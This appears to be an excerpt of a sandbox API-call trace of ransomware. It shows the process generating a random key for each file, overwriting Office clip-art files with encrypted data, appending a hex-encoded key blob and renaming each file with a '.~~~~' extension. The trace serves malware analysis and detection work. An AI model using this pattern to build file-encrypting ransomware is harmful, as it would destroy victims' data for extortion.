	[0090.499] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.~~~~")) returned 1
	[0090.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0948 | out: hHeap=0x300000) returned 1
	[0090.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.500] GetLastError () returned 0x0
	[0090.500] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39ffc0) returned 1
	[0090.501] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.501] CryptReleaseContext (hProv=0x39ffc0, dwFlags=0x0) returned 1
	[0090.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.501] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21049127099) returned 1
	[0090.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fb79a50, dwHighDateTime=0x1d60e1e)) 
	[0090.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380660
	[0090.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380660 | out: hHeap=0x300000) returned 1
	[0090.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdee0
	[0090.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0948
	[0090.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdee0 | out: hHeap=0x300000) returned 1
	[0090.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870be8
	[0090.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0948 | out: hHeap=0x300000) returned 1
	[0090.502] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.502] GetLastError () returned 0x0
	[0090.502] GetLastError () returned 0x0
	[0090.502] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.502] GetLastError () returned 0x0
	[0090.502] GetLastError () returned 0x0
	[0090.536] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffeb6a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.536] WriteFile (in: hFile=0x12c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1496, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1496, lpOverlapped=0x0) returned 1
	[0090.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.537] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.537] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.537] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.537] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.537] CloseHandle (hObject=0x12c) returned 1
	[0090.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870ab8
	[0090.537] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.~~~~")) returned 1
	[0090.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870ab8 | out: hHeap=0x300000) returned 1
	[0090.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.538] GetLastError () returned 0x0
	[0090.608] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d60a0) returned 1
	[0090.609] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.609] CryptReleaseContext (hProv=0x28d60a0, dwFlags=0x0) returned 1
	[0090.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.610] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21059972042) returned 1
	[0090.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fc843f0, dwHighDateTime=0x1d60e1e)) 
	[0090.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac5b8
	[0090.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac5b8 | out: hHeap=0x300000) returned 1
	[0090.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28705f8
	[0090.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.610] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.610] GetLastError () returned 0x0
	[0090.611] GetLastError () returned 0x0
	[0090.611] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.611] GetLastError () returned 0x0
	[0090.611] GetLastError () returned 0x0
	[0090.677] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff46a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.677] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xb96, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xb96, lpOverlapped=0x0) returned 1
	[0090.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.678] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.678] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.678] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.678] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.678] CloseHandle (hObject=0x11c) returned 1
	[0090.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870db0
	[0090.702] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.~~~~")) returned 1
	[0090.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870db0 | out: hHeap=0x300000) returned 1
	[0090.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.703] GetLastError () returned 0x0
	[0090.704] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0090.719] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.719] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.719] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21070959350) returned 1
	[0090.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fd8ed90, dwHighDateTime=0x1d60e1e)) 
	[0090.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac660
	[0090.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac660 | out: hHeap=0x300000) returned 1
	[0090.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0fd8
	[0090.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871010
	[0090.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0fd8 | out: hHeap=0x300000) returned 1
	[0090.723] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.723] GetLastError () returned 0x0
	[0090.723] GetLastError () returned 0x0
	[0090.723] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.723] GetLastError () returned 0x0
	[0090.723] GetLastError () returned 0x0
	[0090.733] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8c44, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.733] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x73bc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x73bc, lpOverlapped=0x0) returned 1
	[0090.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.734] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.734] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.735] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.735] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.735] CloseHandle (hObject=0x11c) returned 1
	[0090.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.735] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.~~~~")) returned 1
	[0090.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.736] GetLastError () returned 0x0
	[0090.736] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0090.737] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.737] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.738] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21072771908) returned 1
	[0090.738] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fdb4ef0, dwHighDateTime=0x1d60e1e)) 
	[0090.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac698
	[0090.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac698 | out: hHeap=0x300000) returned 1
	[0090.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870f78
	[0090.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.739] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.739] GetLastError () returned 0x0
	[0090.739] GetLastError () returned 0x0
	[0090.739] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.739] GetLastError () returned 0x0
	[0090.739] GetLastError () returned 0x0
	[0090.744] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff63a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.744] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x9c5e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x9c5e, lpOverlapped=0x0) returned 1
	[0090.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.745] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.745] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.745] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.745] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.745] CloseHandle (hObject=0x11c) returned 1
	[0090.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.745] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.~~~~")) returned 1
	[0090.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.746] GetLastError () returned 0x0
	[0090.747] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0090.748] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.748] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.748] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21073798240) returned 1
	[0090.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fddb050, dwHighDateTime=0x1d60e1e)) 
	[0090.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac708
	[0090.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac708 | out: hHeap=0x300000) returned 1
	[0090.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28711d8
	[0090.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.748] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.749] GetLastError () returned 0x0
	[0090.749] GetLastError () returned 0x0
	[0090.749] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.749] GetLastError () returned 0x0
	[0090.749] GetLastError () returned 0x0
	[0090.751] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffbb50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.751] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x44b0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x44b0, lpOverlapped=0x0) returned 1
	[0090.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.752] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.752] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
